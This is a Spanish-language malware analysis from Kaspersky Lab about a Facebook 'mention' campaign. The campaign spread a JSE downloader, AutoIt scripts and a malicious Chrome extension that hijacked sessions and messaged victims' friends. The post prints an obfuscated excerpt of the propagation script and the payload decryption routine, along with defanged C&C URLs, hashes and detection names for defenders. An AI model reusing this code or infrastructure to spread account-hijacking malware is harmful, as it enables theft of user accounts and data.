En la mañana del 26 de junio la prensa israelí informó sobre una campaña de ataques phishing. Miles de usuarios de Facebook se quejaban de que sus cuentas habían quedado infectadas con un virus tras recibir un mensaje de un amigo en Facebook, que afirmaba haberlo mencionado en un comentario.
Kaspersky Lab decidió iniciar una investigación. Pronto descubrimos que el mensaje sí había sido iniciado por atacantes y que ocasionaba un ataque de dos etapas contra los destinatarios. También descubrimos que el ataque no se limitaba a Israel, sino que actuaba contra blancos en todo el mundo.
La primera etapa del ataque comenzaba cuando el usuario hacía un clic en “mencionar”. Un archivo malicioso tomaba el control del navegador del usuario: terminaba su sesión legítima y la remplazaba con una maliciosa, que incluía una pestaña que llevaba a la página legítima de acceso a Facebook. Estaba diseñada para engañar a la víctima y desviarla al sitio de esta red social.
Tras reingresar a Facebook, la sesión de la víctima era secuestrada de forma oculta y se descargaba un nuevo archivo. Esto representaba la segunda etapa del ataque, ya que en este archivo se hallaba incrustado un script para capturar la cuenta que incluía un modificador de los ajustes de privacidad, un extractor de los datos de la cuenta y otras herramientas maliciosas de spam, robo de identidad y generación de falsos “me gusta” y “compartir”. Además, el ciclo de infección con el programa malicioso se reiniciaba al enviar notificaciones maliciosas a todos los amigos en Facebook de la víctima.
La red Kaspersky Security Network (KSN) registró alrededor de 10.000 intentos de infección en todo el mundo en un periodo de apenas 48 horas.
Miles de víctimas del archivo JavaScript malicioso
Facebook ya ha mitigado esta amenaza y está neutralizando las técnicas que se usaron para propagar programas maliciosos desde los equipos infectados. Asimismo, informa que no se han observado más intentos de infección. Por su parte, Google ha retirado de Chrome Web Store al menos una de las extensiones maliciosas.
Blancos principales
Los países más afectados fueron Brasil, Polonia, Perú, Colombia, México, Ecuador, Grecia, Portugal, Túnez, Venezuela, Alemania y, finalmente, Israel.
En el siguiente gráfico podemos apreciar mejor la propagación de la infección por todo el mundo:
Vale la pena notar que los usuarios de equipos con sistemas Windows fueron los que mayor riesgo corrieron. Los usuarios de teléfonos con sistemas Windows también pudieron haber estado en riesgo, aunque esto es menos probable. Los usuarios de dispositivos móviles con sistemas Android y iOS tenían completa inmunidad puesto que el programa malicioso usa bibliotecas que no son compatibles con estos sistemas operativos.
Programas maliciosos descargados desde un dispositivo Android con error de formato inválido
El proceso infeccioso
La infección comenzaba cuando las víctimas recibían una notificación de una “mención” en Facebook que aparentemente provenía de un amigo:
Esto les proporcionaba a los atacantes una guarida desde donde poder capturar la sesión y los permisos de Facebook del usuario y enviar notificaciones maliciosas a los amigos en el Facebook de la víctima. Durante nuestra investigación, descubrimos que el script era el responsable del envío de estas notificaciones maliciosas. El script se activaba cuando el usuario de un equipo capturado procedía a ingresar a Facebook a través de un acceso directo malicioso en Chrome.
Infección inicial
Cuando hace clic en la notificación, el usuario es conducido a una publicación vacía que contiene un enlace a Google Docs. Este enlace descarga automáticamente un archivo JavaScript con el nombre comment_27734045.jse, que es un troyano descargador.
1 2 3 4 5 |
File: comment_27734045.jse Language: JavaScript Size: 5.31 KB MD5: 9D3DF2A89FDB7DA40CEB4DE02D605CFA SHA1: 6D658331FE6D7F684FEE384A29CE95F561A5C2EA |
El archivo malicioso es parte del ataque que tratamos en este artículo. Descubrimos también que un generador de troyanos descargadores residía en los siguientes dominios:
1 2 |
#1 hxxp://lllllllllll[.]top/end.php?ref= #2 hxxp://corneliuspettus[.]com/fil.php |
Una publicación de Facebook que enviaba el troyano descargador JSE
1 |
hxxps://doc[.]google[.]com/uc?authuser=0&id=0B0l2JbaudbnYOXlLTFl3TEFwdzg&export=download&o=vjjj0vx6r53qxgkla0zqohizrgzzemcipadgln5rxf&fb_comment_id=fbc_1104594152941522_1104594202941517_1104594202941517 |
El código malicioso se inicia después de establecer un #NoTrayIcon: inicializa variables e inmediatamente comienza a enviar argumentos a la rutina de descifrado que se encuentra al final del script. La mayoría de las cargas maliciosas están cifradas. Sin embargo, la llave de descifrado viene especificada en el código y la función estándar puede copiarse fuera del código y automatizarse para un descifrado seguro.
1 2 3 4 5 6 |
Func YK69395P92380($KS50476D12399,$JF22904R13060) $KS50476D12399 = BinaryToString($KS50476D12399) $YK28157F62492 = _Crypt_DecryptData($KS50476D12399, $JF22904R13060, $CALG_AES_256) $YK28157F62492 = BinaryToString($YK28157F62492) Return $YK28157F62492 EndFunc |
O de una forma más simplificada:
1 2 3 4 5 6 |
Func Decrypt($encrypted_input,$key) $encrypted_input = BinaryToString($encrypted_input) $decrypt_output = _Crypt_DecryptData($payload, $key, $CALG_AES_256) $decrypted_output = BinaryToString($decrypted_output) Return $decrypted_output EndFunc |
La función tiene dos argumentos. Uno es una cadena hexadecimal que representa la carga cifrada y el otro es una llave. El algoritmo de cifrado utilizado en _Crypt_DecryptData() es CALG_AES_256, 256 bit AES, que también está especificado en el código.
El código suele ser bastante claro. Aun sin descifrar el contenido cifrado, es posible encontrar las variables guardadas que se usan: ProcessExists, ProcessClosed, DirCreate, AppDataDir, RegRead, FileDelete, DesktopDir etc.. Además, el autor dejó unos comentarios para el lector que pueden ser muy útiles.
Verificación en segundo plano
El troyano descargador no es novedoso. Hace más de un año se detectó que sus archivos contenían variables y comentarios en turco. El supuesto autor, también conocido como BePush/Killim, recurrió a innovadoras técnicas para propagar programas maliciosos a través de redes sociales. Se sabe que prefiere la ofuscación de múltiples niveles, especialmente en JavaScript, y que utiliza reductores de URL de múltiples niveles, proveedores de hosting de terceros y cargas de múltiples etapas.
El grupo ofusca su infraestructura con Cloudflare y registra dominios con WHOIS para proteger su privacidad. También monitorea sus infecciones con scripts analíticos de terceros.
Descubrimos que este autor en particular parece inclinarse por los siguientes proveedores: Amazon AWS, Google, WhosAmungUs, TinyURL, Bitly, Cloudflare y otros, lo que sugiere que prefiere programas gratuitos en vez de los comerciales.
¿Qué hay en el menú?
Una vez que se ejecuta, el script malicioso abre un socket a uno de sus servidores de comando y control (C&C), solicita una docena de archivos y los descarga uno por uno desde el servidor C&C. Todos tienen la misma extensión de imagen (.jpg). Después, el script remplaza esta extensión con la verdadera. Hemos documentado las siguientes extensiones:
- exe – utilidad para descargar scripts maliciosos .au3.
- bat – archivo batch que ejecuta el binario, añadiendo scripts .au3 como argumentos.
- au3 – código malicioso.
- zip – zip vacío.
- json – manifiesto para configuración de extensiones de Chrome.
- dat – versión del programa malicioso.
- js – scripts adicionales que soportan la extensión de Chrome y scripts que recopilan estadísticas sobre las víctimas.
Al observar el contenido del archivo JSE, vemos que el primer segmento del código es una serie de cadenas, que se añadieron al código para ofuscarlo.
Cadenas guardadas en el archivo JSE que contiene el servidor C&C y archivos maliciosos
En la parte superior vemos las cadenas responsables de abrir la conexión con el servidor C&C remoto, seguidas de las cadenas responsables de leer los archivos y cambiar su extensión. %APPDATA%, ExpandEnvironmentStrings y Mozila representan la ubicación real donde se guardarán los archivos maliciosos.
Al observar la carpeta de destino de los archivos maliciosos, vemos un extraño nombre de variable: Mozklasor, que en turco significa “carpeta púrpura”, lo que apunta a autores turcos, como mencionamos anteriormente.
Creación del directorio %AppData%\Mozila para transferir los archivos maliciosos
Una vez descargada, podemos explorar la carpeta Mozila en AppData y analizar los cambios que se han realizado. Además de los archivos residentes en nuestro directorio Mozila falso, el archivo JavaScript también ejecuta el archivo run.bat, que carga el archivo ejecutable con uno de sus scripts como argumento.
Notamos que se añadió un conjunto de archivos. Además, se ejecutó en segundo plano un script, se cerraron nuestros navegadores, se añadieron accesos directos de Chrome a nuestro escritorio y se reiniciaron los navegadores en modo infectado, con una extensión maliciosa incrustada en la instancia abierta, junto a algunas manipulaciones del registro que no habíamos notado. Este comportamiento ocurrió después de que el archivo JavaScript ejecutara el archivo batch run.bat, que llama la utilidad autoit.exe y la carga con ekl.au3.
Navegadores cerrados inesperadamente y nuevas apps añadidas al escritorio
El programa malicioso cerró nuestra navegación en Chrome. En la misma situación, la reacción más natural de una víctima sería buscar la aplicación de navegación que esté más a su alcance, y abrirla. Una vez que se ejecuta el navegador, notamos dos elementos sospechosos.
Víctima inducida a abrir un acceso directo malicioso a Chrome
El navegador se abre con una pestaña adicional que conduce a la página de ingreso a Facebook. El atacante suponía que los usuarios que estaban navegando en Facebook antes de encontrar el programa malicioso, simplemente esperarían que el navegador restaurara el sitio web. Un detalle importante para el usuario atento es que la ventana restaurada está abierta. Esto significa que el usuario todavía no ha restaurado la página de Facebook.
El segundo elemento (muy pequeño) es una extensión que se añadió silenciosamente a la lista de extensiones de Chrome. Aparece como un símbolo [a-z] sobre fondo gris en la parte superior derecha.
Si volvemos a observar la carpeta Mozila, podemos identificar un archivo Manifest.json que indica que el proceso de infección incluye una extensión.
Junto a los permisos que recibe la extensión, carga un script externo (bg.js). Este script es el responsable de evitar su eliminación. También contiene un oyente para peticiones salientes para resolución de DNS enviados mediante la barra de direcciones URL, y neutraliza una gran cantidad de dominios de sitios web identificados como peligrosos.
Dominios identificados como peligrosos bloqueados
Si el usuario intenta acceder a uno de estos sitios web, el navegador le muestra el siguiente error:
Dominios identificados como peligrosos bloqueados
Cuando la víctima al fin decide acceder a su cuenta de Facebook, un script remoto se carga desde el C&C y se ejecuta del lado del cliente. Se trata de un archivo JavaScript un poco grande (~80KB) que es responsable de capturar la cuenta y propagar el programa malicioso entre los usuarios de Facebook.
Después de lograr ingresar, el archivo JavaScript data.js se carga y desvía al usuario hacia una página con un mensaje en español: “Antes de volver a iniciar sesión necesitas limpiar todas tus cookies,”. Puedes hacerlo desde las configuraciones de tu Google Chrome, mira este tutorial si no sabes como”. El atacante pide esto para obtener nuevos identificadores de usuario-sesión. En el código malicioso, se menciona la cadena c_user. Esta cookie, entre otras, es una cookie de sesión y potencialmente puede ofrecer un valor notable a los atacantes.
Después de ingresar, se puede ver que el ataque se ejecutó y que la víctima notificó a toda su lista de amigos en Facebook sobre la nueva URL. Después de activar esta URL, los amigos del usuario también se convertirán en hosts del programa malicioso y el proceso de infección se reproducirá con una lista de amigos más.
Movimiento lateral
Cuando se abre el navegador Chrome con la extensión maliciosa, la página de Facebook también se abre en una nueva pestaña, induciendo al usuario a abrirla. Una vez que se establece la conexión, se ejecuta un script en segundo plano. Este script se itera a través de tres dominios para capturar el intento de ingreso y envía un script malicioso que regenerará la infección inicial en Facebook.
Después del intento de ingreso a Facebook el programa malicioso captura el tráfico
Cuando el programa malicioso reconoce el intento de ingreso a Facebook, ejecuta un archivo malicioso JavaScript data.js que inicia el ataque, invitando a otros miembros de Facebook con una “mención” y un enlace malicioso. Además, la extensión actúa como un Man-In-The-Middle y puede capturar todo el tráfico entre la víctima y los servidores a los que solicitó datos. Gracias a esto, el autor puede robar datos y enviarlos a sus servidores C&C o incrustarlos en un archivo log y enviarlo por otro canal.
Los datos en la carga del archivo JavaScript pueden descifrarse con un web proxy, como Fiddler, que posibilita la inspección de la URL incrustada con un script troyano listo para descargar.
Al inspeccionar el código, una cadena legible nos parece muy familiar. Se trata del enlace de la infección inicial que mencionamos al principio del artículo. Además de la rutina de infección, también se ha incrustado, en el mismo archivo, un script para la captura de cuentas junto a un modificador de ajustes de privacidad, un extractor de datos de cuentas y otras herramientas.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
lobalFunction[Y1h.J9Q](fbData[I], function(j, u) { var p = "post", L = "Comm", z = "mChat"; … Facebook[z](j, gF[Y1h.G3Q](50, 52), j); Facebook[L]("https://doc.google.com/uc?authuser=0&id=" + fbData[R] + "&export=download&o=" + gF[Y1h.u1Q](42)[Y1h.d99]()); Facebook[p](u, function(a) { Facebook[L]("http://www.facebook.com/" + a); }); }); fbData[b] = atob(fbData[S]); if (fbData[b][Y1h.w1Q](chrome[Y1h.h4X][Y1h.f59]) > -1) { var k = function(a) { fb[Y1h.N7Q] = a[Y1h.h4X][Y1h.f59]; }; k(chrome); sfkklglr(); new Image()["src"] = "//whos.amung.us/swidget/wixerr42"; } } catch (a) { nuid = globalFunction[Y1h.G3Q](100, 999); =console[Y1h.p89]("error " + a); new Image()["src"] = "//whos.amung.us/swidget/wixerr35"; … |
En resumen, la propagación del programa malicioso era muy efectiva y en apenas 48 horas alcanzó a miles de usuarios. La rápida reacción de los consumidores y de los medios de comunicación resultó ser el motor de esta campaña. La red social y los proveedores del servicio también actuaron oportunamente al bloquear el ataque.
Preguntas y respuestas:
¿Estoy infectado?
La forma más fácil de verificar si está infectado es abrir su navegador Chrome y buscar la extensión llamada thnudoaitawxjvuGB. Para un examen más profundo, pulse Inicio > Ejecutar > y copie el siguiente comando: %AppData%\Mozila. Si la carpeta contiene archivos como “autoit.exe” y “ekl.au3”, entonces su equipo está infectado.
Mi equipo está infectado. ¿Qué hago?
Salga de su cuenta en Facebook, cierre el navegador y desconecte de su equipo el cable de red. Es recomendable que recurra a un experto para examinar su equipo y eliminar todos los programas maliciosos. Asimismo, instale una solución antivirus actualizada.
Los productos de Kaspersky Lab detectan y bloquean esta amenaza, evitando así que su equipo se infecte.
Un amigo me mencionó en una publicación. ¿Puedo abrirla?
Sí, siga usando su red social como lo hacía antes. Sólo tenga en cuenta que no debe instalar en su equipo o dispositivo móvil aquellos archivos que no conoce.
Abrí el archivo en mi teléfono móvil. ¿Queda infectado?
Si no se trata de un teléfono Windows, no puede infectarse. Este programa malicioso sólo funciona en entornos Windows.
¿Cómo puedo evitar ser una víctima?
Cuanto más se usa Internet, mayor es el riesgo de convertirse en un blanco. Sin embargo, los proveedores de servicios como almacenamiento en la nube, redes sociales y productos de seguridad, trabajan sin cesar para estar un paso por delante de estas amenazas y cuidar la seguridad de sus usuarios. Si es posible, tenga cuidado cuando use Internet y no se deje engañar con algunos contenidos, por más tentadores que parezcan, si es que se interesa por su seguridad.
IOCs:
comment_27734045.jse | 9D3DF2A89FDB7DA40CEB4DE02D605CFA | Trojan-Downloader.Agent.JS.lee |
Autoit.exe | Legitimate software | — |
Ff.zip | Empty zip file | — |
Sabit.au3 Up.au3 Force.au3 |
88C2B5DC9B7862590B859FC2FCDEAF87 | Trojan.Win32.Autoit.fdi |
Manifest.json | 3C874BA389652FF33E535E5B3373FFDC | Trojan.JS.Extension.g |
Bg.js | B50005F142A547CF8CD579EFAB0139DC | Trojan.JS.Agent.diw |
Ekl.au3 | 25C440B66B6C33F4F6A84A992DBB956B | Trojan.Win32.Autoit.fdj |
Run.bat | Autoit.exe loader | Trojan.BAT.Tiny.c |
Ping.js | Used for whos.amungs.us analytics | — |
Ping2.js | Used for whos.amungs.us analytics | — |
ver.dat | Contains version: 1.5 | — |
data.js | 1a48f277b8e99d5a9b6526e0b51edad4 | Trojan.JS.Agent.diw |
URLs mailiciosas:
hxxp://userexperiencestatics[.]net/ext/autoit.jpg
hxxp://userexperiencestatics[.]net/ext/ff.jpg
hxxp://userexperiencestatics[.]net/ext/sabit.jpg
hxxp://userexperiencestatics[.]net/ext/ekl.jpg
hxxp://userexperiencestatics[.]net/ext/bg.jpg
hxxp://userexperiencestatics[.]net/ext/run.jpg
hxxp://userexperiencestatics[.]net/ext/up.jpg
hxxp://userexperiencestatics[.]net/ext/force.jpg
hxxp://userexperiencestatics[.]net/ext/ff.jpg
hxxp://corneliuspettus [.]com/fil.php
hxxp://lllllllllll[.]top/end.php?ref
hxxp://corneliuspettus [.]com/data.js
hxxp://appcdn[.]co/data.js
hxxp://friendsmu[.]com/data.js
Dominios:
Friendsmu[.]com
Appcdn[.]co
Userexperiencestatics[.]net
Corneliuspettus[.]com
lllllllllll[.]top
Programas maliciosos para Facebook: etiquétame si puedes